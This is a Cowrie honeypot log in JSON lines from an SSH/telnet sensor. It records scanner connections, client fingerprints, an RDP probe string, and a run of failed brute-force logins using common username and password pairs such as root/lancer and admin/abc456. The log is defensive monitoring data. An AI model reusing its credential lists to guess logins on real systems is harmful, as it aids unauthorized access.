{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:49.325160Z","src_ip":"103.122.221.179","session":"210d8b0c4c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lancer","message":"login attempt [root/lancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:50.100790Z","src_ip":"103.122.221.179","session":"210d8b0c4c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:51.361150Z","src_ip":"103.122.221.179","session":"210d8b0c4c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.373076677322388,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:53.761962Z","src_ip":"152.42.224.71","session":"04bf572912bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63670,"dst_ip":"159.203.135.109","dst_port":22,"session":"908603b0dece","protocol":"ssh","message":"New connection: 152.42.212.128:63670 (159.203.135.109:22) [session: 908603b0dece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:56.065327Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:56.070772Z","src_ip":"152.42.212.128","session":"908603b0dece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:56.074753Z","src_ip":"152.42.212.128","session":"908603b0dece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":60038,"dst_ip":"159.203.135.109","dst_port":22,"session":"5430bf53ac93","protocol":"ssh","message":"New connection: 51.250.105.222:60038 (159.203.135.109:22) [session: 5430bf53ac93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:59.093375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:59.098192Z","src_ip":"51.250.105.222","session":"5430bf53ac93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.16258907318115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:59.171325Z","src_ip":"152.42.224.71","session":"d9df09d83388","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:59.227398Z","src_ip":"51.250.105.222","session":"5430bf53ac93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf","message":"login attempt [root/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:58:59.614302Z","src_ip":"51.250.105.222","session":"5430bf53ac93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:00.747614Z","src_ip":"51.250.105.222","session":"5430bf53ac93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54474,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa668dfb34ee","protocol":"telnet","message":"New connection: 152.42.224.71:54474 (10.17.0.5:23) [session: aa668dfb34ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:22.859678Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":16135,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f4b085e5faf","protocol":"ssh","message":"New connection: 2.57.121.112:16135 (159.203.135.109:22) [session: 0f4b085e5faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:31.802790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:31.807806Z","src_ip":"2.57.121.112","session":"0f4b085e5faf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:31.914075Z","src_ip":"2.57.121.112","session":"0f4b085e5faf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcdefghij","message":"login attempt [admin/abcdefghij] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:32.422191Z","src_ip":"2.57.121.112","session":"0f4b085e5faf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcdef123","message":"login attempt [admin/abcdef123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:33.532300Z","src_ip":"2.57.121.112","session":"0f4b085e5faf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc456","message":"login attempt [admin/abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:34.641786Z","src_ip":"2.57.121.112","session":"0f4b085e5faf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":25583,"dst_ip":"159.203.135.109","dst_port":22,"session":"0991c5279b41","protocol":"ssh","message":"New connection: 2.57.121.25:25583 (159.203.135.109:22) [session: 0991c5279b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:35.702336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:35.707071Z","src_ip":"2.57.121.25","session":"0991c5279b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abarth","message":"login attempt [admin/abarth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:35.751011Z","src_ip":"2.57.121.112","session":"0f4b085e5faf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:35.809653Z","src_ip":"2.57.121.25","session":"0991c5279b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21021994","message":"login attempt [user/21021994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:36.282172Z","src_ip":"2.57.121.25","session":"0991c5279b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aabbccdd","message":"login attempt [admin/aabbccdd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:36.860780Z","src_ip":"2.57.121.112","session":"0f4b085e5faf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21021979","message":"login attempt [user/21021979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:37.384675Z","src_ip":"2.57.121.25","session":"0991c5279b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:37.970763Z","src_ip":"2.57.121.112","session":"0f4b085e5faf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"210210","message":"login attempt [user/210210] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:38.485783Z","src_ip":"2.57.121.25","session":"0991c5279b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"210188","message":"login attempt [user/210188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:39.589149Z","src_ip":"2.57.121.25","session":"0991c5279b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21011982","message":"login attempt [user/21011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:40.690912Z","src_ip":"2.57.121.25","session":"0991c5279b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00112295150757,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:40.949569Z","src_ip":"152.42.224.71","session":"8bf15599ca81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:41.793452Z","src_ip":"2.57.121.25","session":"0991c5279b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":41434,"dst_ip":"159.203.135.109","dst_port":23,"session":"da3688f81fd4","protocol":"telnet","message":"New connection: 213.108.3.46:41434 (159.203.135.109:23) [session: da3688f81fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:49.949342Z"}
{"eventid":"cowrie.session.closed","duration":0.015653610229492188,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:49.964927Z","src_ip":"213.108.3.46","session":"da3688f81fd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.23461604118347,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:54.428913Z","src_ip":"152.42.224.71","session":"b744299122ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59876,"dst_ip":"159.203.135.109","dst_port":22,"session":"54ab94327499","protocol":"ssh","message":"New connection: 103.176.20.57:59876 (159.203.135.109:22) [session: 54ab94327499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:58.231366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:58.236114Z","src_ip":"103.176.20.57","session":"54ab94327499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:58.483709Z","src_ip":"103.176.20.57","session":"54ab94327499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"joker","message":"login attempt [root/joker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:59:59.237588Z","src_ip":"103.176.20.57","session":"54ab94327499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:00.491717Z","src_ip":"103.176.20.57","session":"54ab94327499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38198,"dst_ip":"10.17.0.5","dst_port":23,"session":"61fea53fad8e","protocol":"telnet","message":"New connection: 152.42.224.71:38198 (10.17.0.5:23) [session: 61fea53fad8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:01.812979Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38206,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba4d64721d5e","protocol":"telnet","message":"New connection: 152.42.224.71:38206 (10.17.0.5:23) [session: ba4d64721d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:02.092623Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":35620,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac778c1b0216","protocol":"ssh","message":"New connection: 79.127.181.44:35620 (10.17.0.5:22) [session: ac778c1b0216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:02.113153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:02.313293Z","src_ip":"79.127.181.44","session":"ac778c1b0216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:02.507071Z","src_ip":"79.127.181.44","session":"ac778c1b0216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:02.513672Z","src_ip":"79.127.181.44","session":"ac778c1b0216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.84030842781067,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:09.699864Z","src_ip":"152.42.224.71","session":"aa668dfb34ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":56624,"dst_ip":"10.17.0.5","dst_port":22,"session":"353fb477ccc0","protocol":"ssh","message":"New connection: 193.37.70.224:56624 (10.17.0.5:22) [session: 353fb477ccc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:16.256942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:16.262163Z","src_ip":"193.37.70.224","session":"353fb477ccc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:16.353126Z","src_ip":"193.37.70.224","session":"353fb477ccc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm12345","message":"login attempt [root/zxcvbnm12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:16.634269Z","src_ip":"193.37.70.224","session":"353fb477ccc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.656024694442749,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:16.748481Z","src_ip":"152.42.224.71","session":"ba4d64721d5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:17.728080Z","src_ip":"193.37.70.224","session":"353fb477ccc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.245.108.14","src_port":45282,"dst_ip":"10.17.0.5","dst_port":23,"session":"963a6a6e02a7","protocol":"telnet","message":"New connection: 189.245.108.14:45282 (10.17.0.5:23) [session: 963a6a6e02a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:00:28.031689Z"}
